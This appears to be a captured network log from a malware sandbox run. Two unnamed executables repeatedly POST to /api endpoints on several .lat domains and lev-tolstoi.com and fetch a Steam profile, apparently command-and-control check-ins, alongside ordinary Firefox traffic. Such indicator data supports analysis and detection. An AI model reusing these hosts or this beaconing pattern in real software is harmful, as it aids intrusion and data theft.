                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A964%2B%2BInsf%2BMHZC3EEeAjwSs5gPtKAmsoLnDBSWT%2BSz%2F2zpq9LeSGwGtHQH%2BMelLdNw0wTeiBTQzGuROkmK0DklRM8Uwi4CTayr7RuiMSnLy1aOIxE9Y7%2B3Il61SemKstVON"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3f9f5b3b9451-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29566&min_rtt=26484&rtt_var=12896&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2857&recv_bytes=584&delivery_rate=153715&cwnd=253&unsent_bytes=0&cid=c9d6f7d9dd3b9ad8&ts=255&x=0"
                      • flag-us
                        DNS
                        prod.balrog.prod.cloudops.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.balrog.prod.cloudops.mozgcp.net
                        IN A
                        Response
                        prod.balrog.prod.cloudops.mozgcp.net
                        IN A
                        35.244.181.201
                      • flag-us
                        DNS
                        prod.balrog.prod.cloudops.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.balrog.prod.cloudops.mozgcp.net
                        IN AAAA
                        Response
                      • flag-us
                        POST
                        https://energyaffai.lat/api
                        3aa5453546.exe
                        Remote address:
                        104.21.112.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: energyaffai.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:37 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=8k2pvqedc2cgopm65tudqrdjpa; expires=Tue, 15 Apr 2025 02:13:16 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g4Kvkws4RqH1Vi2mm8z2kO6KWHcGSvV5aW%2FwzVBOC3ODW20ChF4cjy%2FX7oZEJtJ6fpE%2FXrsSXr%2Br1NCRBnQldajIRu8AG0KE4G7%2BEmZ%2FE4DAaXbr2dHVwbP93fyrEkjUGY8%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fa0ece988bf-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27089&min_rtt=26192&rtt_var=9138&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=583&delivery_rate=153362&cwnd=253&unsent_bytes=0&cid=89195d014e448094&ts=246&x=0"
                      • flag-us
                        DNS
                        ciscobinary.openh264.org
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        ciscobinary.openh264.org
                        IN A
                        Response
                        ciscobinary.openh264.org
                        IN CNAME
                        a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com
                        a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com
                        IN CNAME
                        a17.rackcdn.com
                        a17.rackcdn.com
                        IN CNAME
                        a17.rackcdn.com.mdc.edgesuite.net
                        a17.rackcdn.com.mdc.edgesuite.net
                        IN CNAME
                        a19.dscg10.akamai.net
                        a19.dscg10.akamai.net
                        IN A
                        88.221.134.209
                        a19.dscg10.akamai.net
                        IN A
                        88.221.134.155
                      • flag-gb
                        GET
                        http://ciscobinary.openh264.org/openh264-win64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip
                        firefox.exe
                        Remote address:
                        88.221.134.209:80
                        Request
                        GET /openh264-win64-2e1774ab6dc6c43debb0b5b628bdf122a391d521.zip HTTP/1.1
                        Host: ciscobinary.openh264.org
                        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        Accept: */*
                        Accept-Language: en-US,en;q=0.5
                        Accept-Encoding: gzip, deflate
                        Connection: keep-alive
                        Response
                        HTTP/1.1 200 OK
                        Last-Modified: Fri, 08 Nov 2024 02:52:28 GMT
                        ETag: 85430baed3398695717b0263807cf97c
                        Content-Length: 453023
                        Accept-Ranges: bytes
                        X-Timestamp: 1731034347.00215
                        Content-Type: application/zip
                        X-Trans-Id: tx264693c458e9421d8a991-006730bfe7dfw1
                        Cache-Control: public, max-age=84525
                        Expires: Sat, 21 Dec 2024 07:55:22 GMT
                        Date: Fri, 20 Dec 2024 08:26:37 GMT
                        Connection: keep-alive
                      • flag-us
                        DNS
                        a19.dscg10.akamai.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        a19.dscg10.akamai.net
                        IN A
                        Response
                        a19.dscg10.akamai.net
                        IN A
                        88.221.134.209
                        a19.dscg10.akamai.net
                        IN A
                        88.221.134.155
                      • flag-us
                        DNS
                        a19.dscg10.akamai.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        a19.dscg10.akamai.net
                        IN AAAA
                        Response
                        a19.dscg10.akamai.net
                        IN AAAA
                        2a02:26f0:a1::58dd:869b
                        a19.dscg10.akamai.net
                        IN AAAA
                        2a02:26f0:a1::58dd:86d1
                      • flag-us
                        POST
                        https://aspecteirs.lat/api
                        3aa5453546.exe
                        Remote address:
                        104.21.66.85:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: aspecteirs.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:38 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=ir6h5urhcjbrvqg9u09pouo9dn; expires=Tue, 15 Apr 2025 02:13:17 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I40PeaX66ONd8eTBcuj1HgrLAoPNRfsRWycbyPTVzI2mK%2FcNBGvEuwJOdnZnlQ%2FNfZQQTUysRsBaBtea5%2FjzIYIuFdDowX%2FcIu%2FeBLhVmaE49oGayuitEFhDx9KfHFiqig%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fa2dda5ef25-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29129&min_rtt=28379&rtt_var=9280&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=582&delivery_rate=143451&cwnd=253&unsent_bytes=0&cid=42ef5a849c6e514b&ts=232&x=0"
                      • flag-us
                        DNS
                        redirector.gvt1.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        redirector.gvt1.com
                        IN A
                        Response
                        redirector.gvt1.com
                        IN A
                        172.217.20.174
                      • flag-us
                        DNS
                        redirector.gvt1.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        redirector.gvt1.com
                        IN A
                        Response
                        redirector.gvt1.com
                        IN A
                        172.217.20.174
                      • flag-us
                        DNS
                        redirector.gvt1.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        redirector.gvt1.com
                        IN AAAA
                        Response
                        redirector.gvt1.com
                        IN AAAA
                        2a00:1450:4007:80c::200e
                      • flag-us
                        DNS
                        r4---sn-aigzrnsz.gvt1.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        r4---sn-aigzrnsz.gvt1.com
                        IN A
                        Response
                        r4---sn-aigzrnsz.gvt1.com
                        IN CNAME
                        r4.sn-aigzrnsz.gvt1.com
                        r4.sn-aigzrnsz.gvt1.com
                        IN A
                        74.125.175.169
                      • flag-us
                        POST
                        https://sustainskelet.lat/api
                        3aa5453546.exe
                        Remote address:
                        104.21.16.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: sustainskelet.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:38 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=brfek5jl56lolunjequibj0ke0; expires=Tue, 15 Apr 2025 02:13:17 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NCsZWMtAPosTyPrw09yg4H5asEzh4QyElJrwdOZwF51ywbvR%2F12brlPknc0TwgEYKsl51O2IFEqJZ0kI2WYT6pKbHxeofE%2BtmO%2B1Ts2r2noxsB20nUa97H4snuU8ZPYovXuJMw%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fa4aa8263b5-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29325&min_rtt=26832&rtt_var=9714&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2859&recv_bytes=585&delivery_rate=151721&cwnd=253&unsent_bytes=0&cid=8bd226170e77591d&ts=260&x=0"
                      • flag-us
                        DNS
                        r4.sn-aigzrnsz.gvt1.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        r4.sn-aigzrnsz.gvt1.com
                        IN A
                        Response
                        r4.sn-aigzrnsz.gvt1.com
                        IN A
                        74.125.175.169
                      • flag-us
                        DNS
                        r4.sn-aigzrnsz.gvt1.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        r4.sn-aigzrnsz.gvt1.com
                        IN AAAA
                        Response
                        r4.sn-aigzrnsz.gvt1.com
                        IN AAAA
                        2a00:1450:4009:1b::9
                      • flag-us
                        POST
                        https://crosshuaht.lat/api
                        3aa5453546.exe
                        Remote address:
                        104.21.52.127:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: crosshuaht.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:38 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=qi6b20medjntbvp7is5oung6u8; expires=Tue, 15 Apr 2025 02:13:17 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mAoaoYN5jwqUCSAbKvz8iu1kYeY6a1vraEHS7Y0IrWFtcZD6hOVWajbTEVwMMkc3MXQKTA%2FM%2Bgi2K0P7%2FFzL5TyZFG1fVLvhBpBC0gcgbQcf2xKZV9jWDq13P2VkRYayqA%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fa88a4563f3-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=32880&min_rtt=28932&rtt_var=13669&sent=7&recv=7&lost=0&retrans=1&sent_bytes=2911&recv_bytes=582&delivery_rate=140709&cwnd=254&unsent_bytes=0&cid=8c132d2bf0dc3a3c&ts=557&x=0"
                      • flag-us
                        POST
                        https://discokeyus.lat/api
                        8797d752f7.exe
                        Remote address:
                        172.67.197.170:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: discokeyus.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:40 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=qkvkak9r23cpau24crrln5t8t3; expires=Tue, 15 Apr 2025 02:13:19 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mocz17n91satoz2B%2B%2FAuU0c5NpXbZbjfHJkyOn19IPE5ygihG%2BNIdBCk11xHAXoCcAmS9zUOwxnSv49c%2B5ts0ZSWrAsuND1%2BW35YTl%2F2mixmJjsGj2Fh6hxUhp7i92mxtw%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3faf583a951d-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=31069&min_rtt=27231&rtt_var=8660&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=582&delivery_rate=124085&cwnd=253&unsent_bytes=0&cid=863f574099518c6d&ts=246&x=0"
                      • flag-us
                        POST
                        https://necklacebudi.lat/api
                        8797d752f7.exe
                        Remote address:
                        172.67.215.121:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: necklacebudi.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:40 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=fofh0avuojtlst54mcmj89sq5n; expires=Tue, 15 Apr 2025 02:13:19 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u40LZGuaYMmD%2FKuQfc3mU%2B%2BdgoU50hq%2Bit2NfzDWWWA9RqeWQ6PMF2v57IvRkfi%2FWbuhrAUc%2FghDK0MfdZDDJQGa9H8cziZ4Jya5OUvJhjK7kd9bZstyKt9B0Zbwo%2FJJQ3LE"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fb13fd5bd71-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=28507&min_rtt=27728&rtt_var=9269&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=584&delivery_rate=139709&cwnd=250&unsent_bytes=0&cid=ca7ac6c0b0334da7&ts=253&x=0"
                      • flag-us
                        POST
                        https://energyaffai.lat/api
                        8797d752f7.exe
                        Remote address:
                        104.21.112.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: energyaffai.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:40 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=j39lnseb4l4t6s31t3r0dokigv; expires=Tue, 15 Apr 2025 02:13:19 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bR0FOUHHuhWEwx8vhmV6t5IQZe3Zty6mnjqOXrgWlSx4HGbtFiRunTFqoF5lmfm95qQ0kjGE3eDn%2FIGIrXuz9XxyNBTv1UFGvSXHUNU9%2BwngL6gqez4sMBbrXpDhrzOB3ZM%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fb318a56535-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=26874&min_rtt=26126&rtt_var=8651&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=583&delivery_rate=155821&cwnd=253&unsent_bytes=0&cid=1c032da9ea5eabbe&ts=245&x=0"
                      • flag-us
                        POST
                        https://aspecteirs.lat/api
                        8797d752f7.exe
                        Remote address:
                        104.21.66.85:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: aspecteirs.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:40 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=avooqq2798hgcqse0csunc2th9; expires=Tue, 15 Apr 2025 02:13:19 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PV6SHNnbdqz45Cq%2FlOY1a5ZPch%2FAKxcUhymIbRlfy8TyJO7ofctv4YUXQ6qSV%2BAEQWWfcJiCdDA3KbGN%2FEFJNi%2FbKsmrSmHJG%2B9wpaEAFEYpUAxT3R%2B02OuaZnESCMLIYQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fb4fc72bd7d-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27478&min_rtt=26159&rtt_var=7848&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=582&delivery_rate=132961&cwnd=253&unsent_bytes=0&cid=8e2849b38104460a&ts=241&x=0"
                      • flag-us
                        POST
                        https://sustainskelet.lat/api
                        8797d752f7.exe
                        Remote address:
                        104.21.16.1:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: sustainskelet.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:41 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=12qbpef40v16ile2ekq2dqmscb; expires=Tue, 15 Apr 2025 02:13:20 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G8CssvmO8nBhRLRrSmvRYX7HCPSmVBiXhG7ajxkW4YVIjWD7xATuHU8dSwt9pxTv9L9BXT%2FhbLmoYAQuUD6lzqBupLgbldXr1GOl076Q87QnMYlsS1GT%2BK8Qxfmcnf9ykdPyHA%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fb6dc7c9533-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27501&min_rtt=26364&rtt_var=7496&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2859&recv_bytes=585&delivery_rate=129571&cwnd=253&unsent_bytes=0&cid=7ebe432f44ce88a6&ts=242&x=0"
                      • flag-us
                        DNS
                        steamcommunity.com
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        steamcommunity.com
                        IN A
                        Response
                        steamcommunity.com
                        IN A
                        2.22.99.85
                      • flag-us
                        POST
                        https://crosshuaht.lat/api
                        8797d752f7.exe
                        Remote address:
                        104.21.52.127:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: crosshuaht.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:41 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=eelg3oluqsr9qvc9ogrs4gabau; expires=Tue, 15 Apr 2025 02:13:20 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0hcrbe1JaB6ZxW%2Fna7B%2BpCvYeNPTlvqj6EdVllvUsiI9a%2FfmHb9abtOVsRHWLN%2FcsrqLIEE97ihbQUHa%2BLzDnTmUZYmesL0IPsLRBHgSYJ4T0%2F%2FPKNFI8y%2Fz%2Fr2HUOM6eg%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3fb8bc006355-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=27398&min_rtt=26291&rtt_var=9484&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=582&delivery_rate=143943&cwnd=253&unsent_bytes=0&cid=39a2f37e613cf21f&ts=260&x=0"
                      • flag-gb
                        GET
                        https://steamcommunity.com/profiles/76561199724331900
                        3aa5453546.exe
                        Remote address:
                        2.22.99.85:443
                        Request
                        GET /profiles/76561199724331900 HTTP/1.1
                        Connection: Keep-Alive
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Host: steamcommunity.com
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx
                        Content-Type: text/html; charset=UTF-8
                        Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
                        Expires: Mon, 26 Jul 1997 05:00:00 GMT
                        Cache-Control: no-cache
                        Date: Fri, 20 Dec 2024 08:26:41 GMT
                        Content-Length: 35588
                        Connection: keep-alive
                        Set-Cookie: sessionid=e1b32d116e4624ec08e8cc42; Path=/; Secure; SameSite=None
                        Set-Cookie: steamCountry=GB%7C7d625a3b038bb98f68b4e14dac147806; Path=/; Secure; HttpOnly; SameSite=None
                      • flag-us
                        DNS
                        lev-tolstoi.com
                        3aa5453546.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        lev-tolstoi.com
                        IN A
                        Response
                        lev-tolstoi.com
                        IN A
                        104.21.66.86
                        lev-tolstoi.com
                        IN A
                        172.67.157.254
                      • flag-us
                        POST
                        https://lev-tolstoi.com/api
                        3aa5453546.exe
                        Remote address:
                        104.21.66.86:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: lev-tolstoi.com
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:41 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=pjphves6fvk6m6t7udh9m39kks; expires=Tue, 15 Apr 2025 02:13:20 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
